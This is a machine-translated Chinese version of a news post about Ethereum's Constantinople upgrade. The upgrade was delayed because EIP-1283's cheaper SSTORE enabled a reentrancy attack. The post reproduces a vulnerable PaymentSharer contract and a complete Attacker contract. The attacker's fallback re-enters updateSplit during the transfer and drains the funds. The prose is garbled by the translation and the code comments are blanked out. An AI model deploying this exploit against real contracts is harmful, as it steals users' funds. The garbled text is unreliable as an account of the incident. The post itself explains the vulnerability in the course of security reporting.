*由于最后一刻发现潜在的漏洞,以太坊的“君士坦丁堡”更新被推迟

图片
*许多人将此事件称为“硬分叉”,但Vitalik 反对

期待已久的君士坦丁堡发布会原定于1月17日世界标准时间凌晨4点举行 ,但是,再次残酷地拆散了无数倒计时计数器开发商的队伍,这是不可能实现的。

在正式发布之前的30小时,由于发现了漏洞,在“更好的交织而不是不中断”的原则指导下,更新被无限期推迟。

EIP 1283的鲁ck报价使整个社区都为之震撼,这降低了执行SSTORE(sic!)指令的成本。 通常,更新的主要方向之一是更廉价,更快速地执行特别繁重的指令。

1月15日的事件发展如下 (太平洋标准时间):

  • 上午8点,ChainSecurity发布了该漏洞描述
  • 就在那儿,Martin Holst Swende(以太坊基金会的主要安全警卫)唤醒了所有关键开发人员,回想起更新仅剩37个小时了,在这里我们有了
  • 中午之前,聊天室和“语音”引起了激烈的争论;
  • 晚餐时,决定取消更新。

部署舰船的时间选择得很差,使情况更加恶化:在过去的几周中,几乎一半的节点都得到了更新,而其他所有节点都被有条不紊地进行了持续性的调度。 结果,现在更新的节点将需要再次更新(向上或向下... mda)。 谁没有时间和时间睡在所有事物上-做得好,他们不需要做任何事。

然后一切都是可以预见的-市场反应了以太(haha)速率崩溃5%。 当然,许多人愤愤不平,他们说指令的价格会如何影响保密性,为什么要将它放在那里以及所有这些……但是,实际上,没什么不寻常的,一切都和其他人一样。

最好在ChainSecurity的原始文章中了解该漏洞的技术细节,这并不难理解。

谁懒得深入研究代码-关键是在更新之前SSTORE指令非常昂贵,以至于君士坦丁堡更新指令变得更便宜(和)之后,您无法更改其他合同的“状态”,而您可以更改“商店”很多次,从而改变了脆弱合同的逻辑。

脆弱的合同代码(附我的评论):

pragma solidity ^0.5.0; contract PaymentSharer { mapping(uint => uint) splits; mapping(uint => uint) deposits; mapping(uint => address payable) first; mapping(uint => address payable) second; //      ,       (  ) function init(uint id, address payable _first, address payable _second) public { require(first[id] == address(0) && second[id] == address(0)); require(first[id] == address(0) && second[id] == address(0)); first[id] = _first; second[id] = _second; } //    ,       function deposit(uint id) public payable { deposits[id] += msg.value; } //       function updateSplit(uint id, uint split) public { require(split <= 100); splits[id] = split; } // ,  (     split) function splitFunds(uint id) public { // Here would be: // Signatures that both parties agree with this split // Split address payable a = first[id]; address payable b = second[id]; uint depo = deposits[id]; deposits[id] = 0; //     (    fallback-   ) a.transfer(depo * splits[id] / 100); //  -   (       ) b.transfer(depo * (100 - splits[id]) / 100); } } 

攻击合同代码:

 pragma solidity ^0.5.0; import "./PaymentSharer.sol"; contract Attacker { address private victim; address payable owner; constructor() public { owner = msg.sender; } //    *,      PaymentSharer   function attack(address a) external { victim = a; PaymentSharer x = PaymentSharer(a); x.updateSplit(0, 100); x.splitFunds(0); } // fallback ,     transfer- function () payable external { address x = victim; // ,       (  ,   updateSplit(0, 0)), ..    Split          assembly{ mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000) pop(call(10000, x, 0, 0x80, 0x44, 0, 0)) } } function drain() external { owner.transfer(address(this).balance); } } 

*原件中的*缺失,但应该在某处进行以下形式的初始化:
初始化(0,“攻击者合同地址”,“攻击者的钱包地址”)

在调用Attack方法之前。

当然,PaymentSharer合同本身还有很多问题,在这些问题上我们看到了漏洞,它本身是盲目的盲目性,问题就在于此。
而不是SSTORE的价格,总的来说-他们没有在发布网络中找到一个真实的例子,而是决定安全地使用它,所有错误的价格可能都太高了(每个人都在这里记住了已死的DAO)。

总的来说,以太坊社区有很多有趣的事件:灰色市场主要人士(GPU与ASIC)的斗争加剧了,这本身值得一提,即将发布的培根链(Bacon Chain)势头强劲-今年有望充满事件和阴谋。

Source: https://habr.com/ru/post/zh-CN436262/


All Articles